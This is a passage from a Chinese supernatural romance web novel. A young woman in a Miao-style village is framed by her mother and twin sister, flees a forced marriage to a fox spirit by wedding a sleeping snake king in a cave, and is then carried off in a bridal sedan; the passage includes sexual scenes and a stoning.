“这母女俩一个说,和野仙苟合的是宋鸾镜,一个说是自己的双生姐姐,到底该信谁啊?” “宋鸾镜一个没出嫁的姑娘,却已经不是处子身了,我猜啊,是她狗急跳墙,怕被灰狐大仙折磨死,就想拉圣女下水。” “可宋鸾镜是老祭司养大的,凭老祭司的心性,怎么可能养出个淫乱的荡妇?而且宋鸾镜这孩子平日里看着也挺乖顺的。” “知人知面不知心,不是宋鸾镜,难不成还是圣女? 圣女可是我们族里最纯洁的女孩,最干净的女神,人家是神娘娘转世,怎么可能身怀媚骨? 宋鸾镜但凡换个女人诬陷,没准我就相信了。” 我抹着眼泪从地上爬起来,不甘心地大声说出实情: “根本就没有什么神罚,村里死的人,都进过娘娘庙,去见过宋花枝! 我三天前,还亲眼见到宋花枝在娘娘庙的偏殿里和蛇仙在一起! 而且娘娘庙的异香就是从她身上传出来的,那晚村里老刘家的大儿子也去见过她!” “胡说八道!” 母亲疾言厉色的反驳,打定了主意要将与妖物苟合的脏水泼在我身上,攥紧五指道: “口说无凭,我既然能来揭穿你,就有证据证明你才是那个祸害!” 说罢,给身后中年女人递了个眼神,中年女人意会地点头,转身去门口,带回了五名村民。 而这五名村民,就是近五天进过娘娘庙,有突然神志清醒的男人! 其中,就有那晚的老刘家老大…… 五名男人一见到我就目露贪光,一脸色相。 刘家老大率先伸手指控我: “村长,邻居们,就是宋鸾镜在娘娘庙勾引的我们!我有证据!” 说完,从怀里掏出了一件绣了莲花的女子贴身里衣。 我一眼就认出,这就是我前两天丢的里衣! 上面的莲花,还是外婆亲手帮我绣的…… 我的衣服,怎么会在他们手里! 紧接着剩下五个男人也都拿出了所谓的证据—— 我的发簪,我的手帕,我的耳坠,还有我凭空消失的莲花镯子。 “族人们,别被这个女人骗了!她就是个吸血的淫蛊!是她把我们引进娘娘庙,和我们睡觉的,睡完就吸我们的精气!” “原来在娘娘庙祸害人的真是宋鸾镜,枉我还以为她是个懂事的好孩子。” “真是丢尽了老祭司的脸!” “这种人,怎么配做老祭司的外孙女,大祭司说得对,她就是个多余的孽种!” 从刘家老大拿出我里衣的那一刻,我就知道我斗不过她们了…… “把镯子还给我!”我哭着扑上去将刘老大手里的东西抢回来。 这镯子,是我外婆亲手给我打的! 母亲趁机对长老会的那些打手下令:“把她押走,关进暗牢,明天,送她上野仙的花轿!” 下一秒就有男人粗暴地按住我双肩,逼着我放开怀里公鸡。 “别碰我!”我无助得泪流满面,死死搂着大公鸡不肯放。 不能放…… 苗域一带有老人走后需用公鸡引路的风俗,系在公鸡腿上的红绳另一端连着的就是老人魂魄。 一旦公鸡被惊飞,老人会找不到下去的路! “老实点!”男人为了逼我放手,故意用木棍重击我肩膀。 我忍着身上的剧痛,哭着嘶声祈求: “我可以跟你们走,让我先送外婆入土为安好不好!等外婆下完葬,你们让我做什么都可以!” 但,母亲听见这话后,却故意把公鸡从我怀里夺走,扔飞出去。 低眸不屑地睥睨我,冷漠启唇,字字诛心:“你,休想。” “外婆——” …… 他们把我关进月阴村宗祠的地下暗牢里,怕我逃跑,还用铁链锁住了我的脚踝。 我安静地蹲在地牢里,花了两个小时总算捋清了这些天村里频频生出怪事的前因后果! 最开始,是娘娘庙的神娘娘在祭神仪式上流血泪。 自那天开始,娘娘庙每晚都会传出能让男子意识不清,神魂颠倒的异香。 进过娘娘庙的男子,全都在三日内暴毙而亡。 可娘娘庙里的异香,是从姐姐身上散发出来的。 姐姐在娘娘庙里先与野仙苟合,再引诱族中男子过去作陪…… 但姐姐这样做,招惹到了九黎山里的灰狐大仙,灰狐大仙下聘点名要娶姐姐。 姐姐如果承认了是自己勾引的灰狐大仙,那她就违背了当初在娘娘庙里发下的誓言。 而且姐姐自诩是神娘娘转世,若是让人知道她耐不住寂寞夜夜和山里野仙缠绵…… 她不但会失去圣女的身份,这些年她利用自己是神娘娘转世的名头在族里建立起来的圣洁形象也会轰然崩碎。 更何况,我以前曾听村里的老人们说过,九黎山上有条灰狐野仙,好色重欲,被他折磨死的母狐狸不计其数。 姐姐真嫁给灰狐仙,必死无疑。 所以,宋花枝绝不会上灰狐仙的花轿,母亲更舍不得送她去死。 宋花枝不死,死的就该是我这个双生同胞的妹妹…… 母亲辛苦做这个局,就是为了顺理成章地让我给宋花枝背锅,替宋花枝嫁给灰狐野仙! 同样是母亲的孩子,无论二十年前还是二十年后,母亲舍弃的,都是我…… 我咬牙咽下喉间的苦涩,抹干眼泪观察四处的环境。 只要还没上野狐仙的花轿,我就还有逃生的机会! 地牢大门被大铁链缠了好几圈,用一把五六斤重的大铁锁锁着。 地牢上头还有长老会的人看管,想逃出去,比登天还难。 可即便如此,我还是想再试试。 拔下头上的簪子,我小心翼翼地拿起大铁锁,靠在门边撬了将近两个小时…… 手指都被磨破皮了也不肯放弃。 外面天暗下来,我听见头顶传来打手们换班的脚步声。 地牢里烛火昏暗,我抿去手上的鲜血,忍痛接着撬…… 两个小时撬不开,我就撬四个小时,反正我还有一整夜的时间可以慢慢尝试! 但,不久后,我耳力极好地又听见头顶有重物落地的声音…… 紧接着,地牢的入口被人小心掀开了。 我还以为是母亲过来了,慌张把簪子从铁锁里拔出来,瑟瑟缩回墙角装虚弱。 可让我没想到的是,下地牢的人竟然是李大叔和银杏! 他们来救我了…… “镜镜!”银杏压着嗓音,冲过来第一时间先拿钥匙帮我打开了牢门上的大铁锁。 牢门被银杏推开,我见状愣了愣,下一秒不假思索地跑出去,拉住银杏的手和李大叔紧张道:“这里不安全,我们上去说!” 李大叔扔掉铁链,嗯了声。 宗祠的打手都被李大叔用迷香放倒了,我一刻也不敢停留,直到跑进三里开外的黑树林,才敢气喘吁吁的稍作停歇。 银杏拍着胸口猛喘粗气,言简意赅地和我说: “你妈那个狠心的老女人舍不得把你姐姐交出去,就用秘术换了你和你姐姐的气运! 现在,那条野狐仙只认你!不认你姐姐了! 还有,那只野狐仙五天前就给你妈传话了,让你妈必须把闺女送给他。 你妈为了保你姐姐,就给你和你姐姐下了双生蛊,你姐姐干那种事的时候,你也会有感觉! 你身上沾染了你姐姐的气息,就会勾来一些没开智的动物对你意图不轨!你的处子身,可能就是在睡梦中,被什么畜生给破了! 你姐姐,才是身怀媚骨的祸害!” 在睡梦中…… 我突然想起了那天早晨,趴在我腿上的黑蛇! 黑蛇是被外婆扔掉的,难道,就是那天?! 我越回想越觉得恶心…… 没想到自己的第一次竟然给了一条蛇! “我外婆呢?” 我着急抓住银杏胳膊问她,银杏给了我一个安心的眼神: “老祭司已经顺利下葬了,一切都好,我爸亲自盯着村长他们给老祭司埋的棺,你尽管放心!” 我愧疚低头,抹了把眼角的泪水哽咽道:“都怪我,连外婆最后一程都没送……” 银杏温柔抱住我,拍拍我的后背耐心安慰:“没事的镜镜,老祭司不会计较的!” 我黯然落泪:“既然野狐仙现在只认我,那我肯定逃不掉了……” 李大叔双手背后,皱着眉头沉声说:“还有一个办法,看你敢不敢用。用了,那野狐仙就不敢娶你了。” “什么办法?”我立马擦掉眼泪,慌促追问。 李大叔把银杏从我怀里拉开,稳重冷肃道: “九黎山上,东南方向,埋着你们阴苗族十八位先祖的阴尸! 那些阴尸被你们阴苗族的阴气与九黎山的灵泽滋润数百年,已经成了精,你去选一个,今晚就嫁!” “什么!”我震惊瞪大眼,瞬间全身起满了鸡皮疙瘩! 嫁阴尸?! 第8章 扒光俊美蛇王的衣袍! 银杏也激动冲她爹大喊:“你让镜镜嫁给尸体,还是嫁给她们阴苗族的先祖?!这不是乱、乱……” 银杏差点就把‘乱伦’两个字写脸上了! 李大叔没好气地臭着脸道: “什么乱不乱的!那些阴尸都已经死几百年了,更何况也不是鸾镜的直系先祖! 东南面的那几座孤坟主人生前都没娶过媳妇,就算鸾镜想嫁,还得问人家想不想娶。” 说完,李大叔从身后拿出有一个包袱,递给我: “这里有身嫁衣,还有凤冠花钗,原本是我给杏子准备的,现在先给你用。 你如果想好了,就换上嫁衣,挽好头发,把自己收拾齐整,包袱里还有一根阴香,拿着阴香连夜上山,去找具阴尸磕头拜堂。 你做了苗族先祖阴尸的女人,被阴物破了身子,野狐仙就不会再动你了。” 我盯着李大叔手里的包袱脊背发凉,不嫁给先祖的阴尸,就要嫁给野狐仙…… 嫁阴尸虽然可怕……但好过嫁给野狐仙被折磨死! 况且,眼下我已经没有别的选择了,这是唯一的破局之法。 我咬牙压下心底的恐惧,硬着头皮抬手,去接装着嫁衣的包袱…… 猛吸一口夜晚的寒气,我抱住包袱,心一横,转身要走,打算找个地方换嫁衣。 但,就在我转身的那一刻,李大叔突然又说: “记住,找到那十八座坟茔后,千万不要继续往南走,南边尽头有个山洞,洞里封印着一条沉睡的青蛇王。 那条蛇王,就是传闻中被娘娘庙镇压的大蛇。 整座山的野仙精怪就没有不惧怕他的,就连那条灰狐大仙,在他面前也得蜷起来。 他还没有苏醒,你若是误打误撞嫁给他,得守活寡。” 青蛇王、大蛇?! 传闻娘娘庙是在三百年前一个电闪雷鸣的夜晚,突然出现在九黎大山上的。 当夜曾有村民亲眼见到倾盆大雨里,有条粗壮凶戾、身长百丈的大青蛇在忽明忽灭的雷光下痛苦蠕动。 九黎山的惊雷劈了整整大半夜,也没能将青蛇劈死。 直至破晓时分,天上的大雨突然化成了青灰砖瓦。 噼里啪啦地在九黎山半山腰处拔地建起了一座娘娘庙,这才镇住了那条祸世的大青蛇。 我原以为这个传说可信度不高…… 没想到,娘娘庙下真镇着一条灵蛇! 临近子时。 我换好李大叔给我的大红绣凤凰广袖长裙嫁衣,挽起长发,佩戴好凤冠与凤钗。 红纱盖头半遮在华丽的金色凤冠上。 我左手提着一只贴了朱红双喜的纸糊白灯笼,右手拿着一支冒着荧荧红光的阴香,孤身瑟瑟发抖地上了九黎山。 径直往东南方向去。 天上弯月高悬,我走过的地方,冥钱飘摇如雪…… 黄纸从我的视线里慢悠悠坠落,夜风把头顶的冥钱刮得哗哗响—— 李大叔说过,这叫点阴香,走引路,嫁阴人。 冥钱铺道! 我以前从没经历过这种事,一路上都紧绷着心弦,完全不敢往后看! 走了大约一个多小时,前面的山路突然多出了两道人影…… 那人影,还在蹦蹦跳跳的,往我跟前迎! 我提着灯笼被吓站在原地,等人影走近,我才猛地发现,那竟然是两只纸人! 一个身穿红色唐装,一个身穿绿色长裙,红男绿女,身体是纸扎的,五官则是毛笔画的…… 我被吓得后退一步,差点尖叫出声! 纸人在我面前两米距离处停了下来,恭恭敬敬地朝我弯腰鞠了个躬,随后又回头,往来时的方向迈开腿走去—— 似是,在给我引路。 我牙齿打颤地捏紧手里已经燃了一半的阴香,试着跟上那两只纸人。 半个小时后,那两只纸人果真把我带到了半山腰偏僻处的十八座阴坟前…… 眼前坟茔,个个都比山上的其他坟要高大些。 坟前无碑,坟头也无草。 十八座阴坟稀稀零零地分布在眼前这片荒草地里,肉眼可见的比路上其他阴坟阴气更重、威力更强…… 坟头的阴风吹得我衣袖翻飞,全身冷得发抖。 我猛吞了一口口水,毛骨悚然地提着灯,捏着阴香,艰难迈开脚步,朝那十八座阴坟中走去—— 临走前李大叔叮嘱过我,让我拿着香去十八座阴坟前晃一遍。 谁看上了我,阴香的红烟就会飘向谁的坟头…… 到时候我什么都不要管,只需跪下朝它的坟磕头,磕三下。 磕完,它的坟会自动裂开,随后我得推开它的棺盖,进棺和它同睡一夜,与它洞房。 这样才算是礼成。 李大叔还说,我相貌生得好,这里的阴尸都是老光棍,肯定会有看上我的。 一想到等会我可能还要和阴尸洞房…… 我就不禁更胆颤了! 手里阴香往上空飘着瘆人的红烟,我害怕地抬脚,先走到第一座阴坟前…… 忽有一阵阴风袭面掀过,吹得我手里那只白灯笼胡乱摇晃。 我侧脸躲过了那阵风,再回头,却惊奇地发现,我手中阴香冒出的红烟似被一股力量吸去了眼前这座阴坟的坟头…… 红烟缕缕飘向第一座阴坟,我错愕后退半步,心跳如雷! 怎么可能,才第一座阴坟,我就被看上了?! 阴香燃出的红烟迅速往高大挺立的坟头飘去,仿佛里面的东西等得不耐烦了,在着急催促。 可我,却在这时候怂了,控制不住地打起了退堂鼓…… 我真要嫁给阴尸,和阴尸洞房吗? 不…… 我不想! 嫁给阴尸,真的能让野狐仙打消娶我的念头吗…… 尽管这是唯一的生路,可我就是、一想起自己要和这些东西睡上一夜,就本能地恶心排斥。 脑子混乱了很久,我强迫自己冷静下来。 再回过神,我突然想起李大叔先前说的—— 山洞、青蛇王。 娘娘庙下镇压的……灵蛇! 下意识昂头看向南边的朦胧山影,一个大胆的想法在我心底疯狂滋生、扎根…… 嫁阴尸是嫁,嫁蛇王也是嫁。 嫁鬼夫哪有嫁妖夫稳! 我去给蛇王当新娘,这靠山,可比这些阴尸先祖强多了…… 说干就干,我咬牙下定决心,果断一把扔掉燃过大半的阴香,拎着绣满鎏金桃花的赤红裙摆,转头朝南边迈开步子跑去。 阴香落地,香头萤火顿时呲的一声灭在坟前不生寸草的泥巴地上。 萦起的红烟也霎时被风吹散,只余微弱两缕萦绕在选中我的那座阴坟坟头。 脚下步子不自觉地越迈越快,我提着白灯笼屏气凝神不敢回头,胸膛内心跳声砰砰如擂鼓。 忽有阵阵阴风侵袭着我的后背,宛若一双双无形的大手,扫得我脊后发麻,毛骨悚然。 旋风卷着枯黄落叶从后迅速追上,要来挡我的路。 我脚下的步子接近小跑,月黑风高,仅靠灯笼光根本瞧不清前面一米开外的路况。 而我跑得急,深山的小道又格外不好走,没逃几步,我就被地面一块凸起的石头给绊摔在了崎岖小路上…… 手掌顿时就被地上的小石子给划出了三道口子,鲜血直流。 但我此刻根本顾不上自己的伤口,因为那道旋风……已经追上来了! 狂风卷着枯黄草叶疯狂往我脸上扑,吹得我睁不开眼,脸皮被风中砂砾给剐得生疼。 我知道,这是那些阴尸先祖在控诉我出尔反尔,挽留惩罚我! 我拼命用宽大的袖摆扫开那道旋风,颤声拒绝:“走开!我不嫁了,走开!” 然,听我这么说,那卷旋风往我身上扑得更厉害了…… 甚至还有意要掀我的嫁衣裙摆。 这群老色鬼! 我攥紧手里的灯笼杆,猛地甩开灯笼,用烛火逼退了旋风。 趁那东西后退,我仓皇踉跄从地上爬起来。 拎起繁琐的裙摆,我提着灯笼就继续往南边跑。 就在此时,我右手上的蛇瞳戒指竟也忽然绽出了青色幽光! 同一时间,背后的阴风骤然停歇,紧追我不放的那道旋风似乎也没了动静…… 我还是不敢回头乱看,满额大汗地喘着粗气,连跑了两里路,才敢稍稍慢下步伐。 不过,让我意外的是,我提着灯笼双腿发软,上气不接下气地再抬头时,却发现正前方的老槐树下,那两只引路的纸人又出现了! 纸人杵在漆黑夜幕里,周身笼罩着绿莹莹的幽光,像极了刚从地府爬上来的勾魂使者! 我原以为这两个纸人也是来拦我路的,暗暗攥紧手中灯笼杆,做好了与这两个纸人拼命的准备。 谁知,老槐树下的两个纸人瞧见我后,却反常地转身,僵硬迈开纸扎的双腿,齐齐往南边深山方向走去—— 像是,在给我引去蛇王山洞的路! 我虽还不确定这两只纸人是怎么来的,但直觉告诉我,跟着这两只纸人走,准没错! 我壮起胆子,小心谨慎地提灯跟上那两只纸人。 沿着生满荒草的狭窄山路往前走了大约四十多分钟,我终于在深夜中,看见了另一种颜色的光。 是花树上方亮起的盏盏红光。 路尽头,竟是一片火红的花树林! 那花,我在植物百科书里见过,是凤凰花。 花开时,如火如荼,花瓣如凤尾。 我从不晓得九黎山深处竟有这么一片美艳如画的凤凰花林子。 盛放的花盏上,笼罩着赤色幽光,像夜晚的云霞,亦像深山燃尽生灵的烈火。 金童玉女纸人还在往林中走,我恍然回神,赶紧追了上去。 十分钟后。 凤凰花林尽头,突然出现了一座山洞。 洞口有光洒出,洞穴似乎很深,一眼望不到尽头。 金童玉女纸人在洞外停下步子,一左一右守在洞口。 我猛吸一口气,壮着胆子提灯往洞里走—— 洞穴石壁上亮着两排油灯,洞口狭窄,甫一踏入,便有阴气扑面,寒意彻骨,激得人浑身起鸡皮疙瘩。 顺着窄道往前走五百米,尽头是两扇雕刻着飞龙浮云的高大铜门。 门上游龙在天,祥云袅袅,栩栩如生。 我伸手推门,没推开。 屏住呼吸,又试着拿起门环,往铜门上叩了叩。 神奇的是,下一秒,两扇铜门便哐哐当当,自动打开了—— 铜门敞开,门上积了多年的灰尘被震落下来,差点全落我身上。 我挥袖扫开面前空气里的浮灰,望着洞门后更加明亮的烛火,害怕地猛咽了口口水。 李大叔说过,蛇王还在沉睡…… 我私闯他的洞府,应该不会被他发现。 只要过了今夜,我身上沾染了蛇王的气息,灰狐仙就不会再娶我了! 我心惊胆战地提着白灯笼,迈开灌铅般的双腿,头皮发麻往洞里走…… 只是和蛇王睡一夜,我能忍! 更何况,蛇王在沉睡,就算我现在嫁给它,它也不会拿我怎样。 总不至于突然苏醒咬死我。 它这一睡,等它醒来那天,说不准已经是几百年后,我早就死了…… 蛇王即便发现了我趁它沉睡嫁给它,拿它挡灾,想找我算账,到时大不了把我尸骨炸出来鞭尸。 反正我人已经死了,尸骨随它怎么折腾都成。 但,嫁给阴尸就不一样了…… 我今晚若是真和那具阴尸先祖睡了,虽能躲过嫁给灰狐仙的劫难,可我余生,都要被阴尸纠缠! 更重要的是,嫁给阴尸先祖,阴苗族的族人们的确不好再将我嫁给灰狐仙。 但我母亲肯定舍不得真把宋花枝送上灰狐仙的花轿。 她和宋花枝,绝不会轻易放过我。 要是灰狐仙坚持抢我当新娘,阴尸先祖能不能打得过灰狐仙我不确定,但我确定,蛇王一定能震慑住灰狐仙! 想到这,我挺直脊背,想嫁蛇王的心更加坚定! 山洞里似是很多年没人打扫了,到处都是落尘与蜘蛛网。 还有散落在地的大小石块。 洞内正中摆放着一口石棺,棺身刻着灵蛇化龙,神女驾云接引的图案。 棺头,竟贴着一张红彤彤的双喜字! 我心下一紧,怯怯伸手,指尖轻搭在石棺的棺盖上…… 耳边蓦地传来公鸡打鸣的声音,我手上狠狠颤了颤。 鸡鸣了,我的时间不多了! 我咬住唇角心一横,放下手里的白灯笼,捞起宽大的嫁衣广袖,双手用力推石棺的棺盖—— 石棺比我想象中的好推开许多。 棺盖轰然落地的那一刻,我扒在石棺上,满头冷汗地低眸往棺里瞧…… 本以为会看见一条沉睡的青色巨蛇。 但,事实却出乎了我的意料。 棺里躺着的,竟是一名身穿红衣,身形颀长、剑眉薄唇的银发俊美男人! 男人五官精致,墨眉飞斜入鬓,额心一抹赤色流烟印记,凤目轻阖,眼尾上挑。 高鼻薄唇,面若白玉,棱角清晰。 身上穿着与我这身嫁衣同色的赤红长袍,广袖袖口纹满金线流云,衣襟龙纹金光熠熠,腰身被赤红金龙腰带给束得窄细紧实…… 一头皓皓华发如月光落肩头,即便是沉睡着,也美得令人心跳加速…… 我愣愣看着他额心那抹赤色印记,总觉得,这印记似曾相识。 他、就是蛇王! 也对,山里的仙家修炼有成得道成精,就能幻化成人形。 他三百年前就被镇压在娘娘庙下了,道行高,现在是人形不足为奇。 既然是人形……那就更好办了! 和这么俊美的蛇王睡一觉,我不吃亏! 我猛呼两口气,做好心理建设后,手脚麻利地翻进石棺。 小心翼翼跨坐在沉睡的蛇王腰腹处。 不过,坐进他怀里,我才陡然发现……蛇王身上,竟也有体温。 不是说蛇是冷血动物么? 为什么他的身上,暖暖的,还有点软…… 难道是我找错了? 我不放心地胆大去扒他衣服,想看看他到底是不是蛇。 “蛇王身上应该有蛇鳞……吧?如果你不是蛇王,那又是谁?” “可不能真找错了,我没时间了……我不想回去嫁给阴尸先祖。” 万幸的是,我话音刚落,就在他脖颈处,看见了两片青蛇鳞! 青蛇大妖…… 我猛地舒口气,背上一松,自言自语地庆幸:“还好,没找错。” 瞧着蛇王那张俊美妖异的容颜,我没有多想,眼一闭,俯身吻住了他的薄唇…… 蛇王大人,我也是被逼无奈才会来找你借运躲灾,反正您老在沉睡着,在睡梦中应该没有感觉吧。 就算有……这种事,您也不吃亏。 这次就当我欠您的,以后我一定常来洞里给你上香,报答您的救命之恩! 蛇王的唇…… 微凉,很软。 令从没碰过男人的我,克制不住的心弦一颤。 我没有和男人做这事的经验,只能学着电视剧与小说里的流程,先吻,然后边吻边脱衣服。 脱完自己身上的嫁衣,再去脱他身上的赤金衣袍…… 仗着他在沉睡,我脱他衣服脱得毫无顾虑,三下五除二便把他扒了个精光。 坦诚相待的那一刻,我偷偷瞟了眼他精壮结实的胸口,立时不好意思地红了脸…… 蛇王大人的身材,还挺好…… 我羞涩得不敢再多看,胸膛内的那颗心慌乱的几欲跳出嗓门眼。 还是得尽快办正事。 我闭紧双目,接着笨拙地搂他脖子,吻他薄唇。 呼吸交缠,他怀中的清澈莲花香,让我有种心情格外舒畅的感觉。 吻了一阵,我试着伸出舌尖,撬开他的唇齿…… 不过,流程好像不大对。 活人这么挑逗有反应,他在沉睡,如今处于半死不活的状态。 亲他,真的有用吗? 事实证明,的确没用。 再耽搁下去,天都要亮了…… 我等不及的索性伸过手去…… 打算试试别的法子。 片刻后,我撑不住地低头埋进他脖窝里,吮吸着他身上的好闻花香,气喘吁吁。 不行啊,没有经验,越动,心跳越急促。 就在我打算先歇歇,再想别的法子时。 蛇王大人他突然有反应了…… 我震惊昂头,脑子空白了一瞬。 紧接着,我不敢放弃这个机会,管他能不能察觉到,低头便吻住了他唇。 与他唇齿相贴,相融以沫。 主动将自己,献给他。 神魂结合的那一刹,我只痛了几秒。 随后竟像是早便熟悉了一般,克制不住地渐入沉沦…… 这种心跳加速极致愉悦的感觉,越发熟悉,像是…… 我之前在梦中感受过的那种! 心脏内像有一束光穿透绽放了出来,我满身大汗的两眼发黑…… 正欲在第一次翻云覆雨尽兴时收工,谁料,洞府里的烛光忽然尽数熄灭。 第9章 你比你姐姐,更像神娘娘 下一秒,一双温暖大手握住我的腰,男人抱着我一个翻身,便将我换在了下面。 我瞬间脑子里轰的一声,炸开了锅! 蛇王,醒了? 动了! 霎时间,我身上又是一层热汗。 这回,是吓的。 我以为,他会吃了我泄气…… 可事实竟是,他将我压在棺中,扣住我的双手,认真取悦我。 薄唇吻了吻我的耳鬓,柔柔附在我耳边说: “阿鸾,别紧张,放松些……” “阿鸾饱了,本尊,还未尽兴呢。” 这清澈磁性的好听嗓音…… 我猛地想起,那个在梦中陪我缠绵数次的男人。 他的声音,就是这般悦耳。 “双生蛊?呵,她们下手挺狠。” “阿鸾,乖些,睁眼,看看本尊。” “鸾鸾……” 是他! 无尽黑暗中,冥纸被阴风扫得漫天飞舞,哗哗作响—— 腰身被一双温暖的大掌无数次握紧…… 我头晕目眩宛在梦中,心涟一次次被击散,汗湿的指尖嵌进身下男人的清凉衣袍。 颤声求饶叫哑了嗓子…… “不、不来了……放过我。” “上次,阿鸾可不是这么说的。” “上、次?” “上次,你比今日多坚持了一个时辰。” “今天、不行了……” “为何不行?” “狗命重要!” 男人鼻尖溢出一丝轻佻的嗤笑: “无碍,你就算死在本尊棺里,本尊也有的是法子把你救回来!” 我呼吸一滞,被吻得大脑缺氧晕晕乎乎。 他缓了缓,突然抵着我的唇,恶趣味地又说:“还是说,你想尝尝被鞭尸的滋味?” 我噎住,心惊胆战不敢再说话。 不知过了多久,我总算在精疲力尽中两眼一黑,解脱地晕死了过去。 这蛇王,体力也忒好了些! —— 一夜寂静,不晓得我睡了多久。 再有意识时,我竟隐约听见,耳畔有敲锣打鼓吹唢呐的声音…… 唢呐的曲调,正是从前常听的嫁娶调子…… 唢呐与敲打声由远及近,在耳边愈发清晰。 直到,近在咫尺! “这宋鸾镜平时看着乖巧听话,怎么就、走上了这条路!老祭司刚刚入土,她这样做,不是在让老祭司泉下不安吗!” “她为了修炼,和她姐姐圣女争脸面,铤而走险用这种方式,真是不害臊丢死人了!” “就是,贴身的小衣和首饰都落在了别的男人那,换做我,宁肯找条白绫吊死。” “亏得村长的儿子还喜欢她,想娶她。你说,老祭司能未卜先知,当初是不是算到宋鸾镜会做出这等腌臜事,才拒绝老村长上门提亲啊?” “有可能,老村长可是咱们月阴村最憨厚老实的男人!怪不得大祭司以前就说,这个闺女是个祸害,长大了必闹得咱们整个阴苗族鸡犬不宁!” 我这是在哪,为什么、摇摇晃晃的…… 浑浑噩噩睁开眼,却发现,入目皆是大片红色。 我好像,被人封在了轿子里! 刺耳的唢呐声萦绕在头顶,我倚靠在轿子后板上,蓦地惊醒,猛坐直身体…… 低头,这才发现,我身上的红嫁衣,不是昨晚那件! 昨晚那身嫁衣,是古代汉族服饰,广袖大袍,刺绣精美,桃花美艳,栩栩如生。 而我现在穿的这身嫁衣,是阴苗族服饰! 虽也是偏古装的广袖长裙,但材质是红罗纱,衣襟袖口与腰带,皆是缀满了银质花蝶。 花蝶之下,还吊着圆润精巧的银色凤凰铃。 抬手摸摸脑袋,果然,触手是冰凉的纯银花冠。 怎么回事,昨晚,我不是已经嫁给蛇王了吗! 为什么今天我还会出现在被嫁给灰狐仙的花轿里?! 况且,我昨夜不是在蛇王的石棺内吗…… 和蛇王那啥到一半,蛇王醒了? 难不成,又是梦?! 我来不及考虑梦不梦了,视线瞥见轿帘被掀起的一角外,山脉连绵的景象…… 还有轿子呈前端高抬的角度,基本可以确定,他们已经带我进山了。 我猛地弯腰站起身,想要掀开轿帘逃出去,可,指尖触碰到厚重轿门帘的那一刹,我身上的凤凰铃突然大放银光,光线交织成网,陡然束缚住我的身体,又害我重心不稳跌坐了回去—— 那光网越挣扎收得越紧,束束光线像一条条透明鱼线,不消片刻就将我没有衣物遮挡的手腕勒出了血迹。 我吃痛停下身上动作,不敢再乱折腾。 这是我母亲下的咒术,她也在防着我逃跑! 我双手双脚都被光网紧紧捆住了,没有其他法子,只能着急冲轿外大声呼喊:“停轿!放我出去!放我出去——” 然而,听见我声音的喜婆子却呵呵阴笑起来: “放你出去?放了你,灰狐大仙可是会找我们算账的!前天的血雨,就是灰狐大仙给月阴村的警告。 宋鸾镜,谁让你不要脸勾引灰狐大仙,现在灰狐大仙点名要你,你自己做的孽,就自己去偿还吧! 以后,你就是灰狐大仙的夫人了,要是过了今夜,你还有命活着,那你以后,就风光无限了!” 紧接着有中年女人鄙夷接话:“惹谁不好,惹灰狐大仙,小浪蹄子,你因一己之私害了族中那么多人的性命,我真是巴不得你被灰狐大仙弄死在床上!” “听说,山里的母狐狸,都是灰狐大仙的小妾,九黎山隔三岔五就会死几条狐狸,都是被灰狐大仙折磨死的……你一个人,嫁给他,必死无疑!” “宋鸾镜,你身上背了这么多条人命,还想让我们放过你,你害我儿子死不瞑目的时候,怎么没想到自己会有今天呢!大祭司说得对,留着你就是个祸害!” 我靠在花轿里无助地摇头辩解:“不是我!在娘娘庙和仙家苟且的人是宋花枝!” 只是不等我多说,轿子外的中年妇人们就怒气冲冲地拾起地上石子从轿子两侧垂了红帘子的小窗口用力朝我掷过来…… 边用棱角锋利的碎石子砸我,边啐道:“呵呸!事到如今你还狡辩!还妄图想拉圣女下水!” “圣女可是我们阴苗族最圣洁干净的女子!我们如今每家每户还用着圣女以纯洁之身供养的长生泉水,圣女如果真是那种淫荡女人,我们怎么可能越来越年轻!” “你的衣服都被别的男人拿出来了,你还否认,人证物证俱在,你就是害死我们村那么多年轻男子的罪魁祸首!像你这种不干净的女人,就该送给灰狐大仙,让他为民除害!” 石子锐利的尖端划破我手与脖子,还砸伤了我的脸。 碎石子如雨点般从轿外砸进来,我紧闭双眼咬牙蜷缩在轿子一角,沾血的石子落在我的腿上。 我清楚现在无论怎么解释她们都不会相信,且这群女人疯起来什么事都能干得出来,包括……把我掐死在半路! 为了不激怒她们,我只能老实闭嘴,瑟瑟发抖地蜷在轿子里,不再反抗。 难道我真要死在今天了吗…… 还要以这么屈辱的死法,结束自己的生命。 果然,外婆走了,没人会保护我了。 我的母亲,只想让我做宋花枝的挡箭牌、替死鬼。 明明惹事上身的是她,凭什么,要我去给她赎罪。 我不服! 二十分钟后,送亲的队伍突然停了下来。 唢呐声锣鼓声也戛然而止。 花轿重重往地上一放,颠得我本就晕沉的脑袋更难受了。 送亲的村民们像是突然看见了什么恐怖的事,一个个丢下锣鼓灯笼扭头就跑—— “快!快走!” “那边来东西接了!” “快走,别多看,当心倒大霉!” 男女老少落荒而逃,平日里病殃殃的中年男人这会子却是拽着自家老娘健步如飞。 我的心里也猛地咯噔一声,浑身汗毛霎时竖了起来…… 艰难地挪动身子,调整视线角度,目光从轿帘的缝隙中看出去……却见四只黄皮子从山上蹦蹦跳跳赶过来! 黄皮子个个后脚着地,前足似人手一般揣在怀里。 站起来,个头皆有一米四! 我被眼前这一幕给吓得浑身冒冷汗。 黄皮子跑到花轿附近,顶替原来的轿夫,轿子猛地一轻,被四只黄鼠狼轻而易举地抬在肩上。 随后步伐飘忽地抬着我往山上走。 我害怕地猛吞了口口水,惶恐地试着又挣扎了一下。 但,身上的咒术还是没有解除。 我稍稍动一下,网便收紧好几分。 看来,她在我身上下的咒术得等到我与灰狐仙碰面,才能消散。 可进了灰狐仙的洞府,我还怎么跑啊! 我气喘吁吁地低头,花冠上的银珠面帘在我眼前晃得我心烦。 怎么办,我该怎么办…… 黄鼠狼的脚程比正常人类快了很多,我还在疯狂思考用什么法子才能侥幸逃命,人骨生红花的喜轿就已经被黄鼠狼们给抬进了一座阴冷潮湿,光线昏暗的山洞。 洞内烛光充盈,隐隐有脚步声杂乱疾速行走。 花轿轻轻落地,我心慌不安地屏住呼吸,缩在花轿左端角落,竖起耳朵听附近的动静…… 片刻后,好似有人稳步迈至花轿前。 呼吸沉重有力,应该是个男人! 停顿了两三秒,一只玉白修长的男人大手突然抓住了轿帘一侧。 我满身大汗的呼吸一窒,害怕的身子猛往后一撞。 咚的一声,后背撞在了厚硬的轿板上—— 只是,男人却并未直接撩开轿帘,僵了少顷…… 又把手收了回去。 难道,他发现我不是宋花枝了? 不对,母亲给我和宋花枝下了双生蛊,双生蛊能令我与宋花枝身上气息对调。 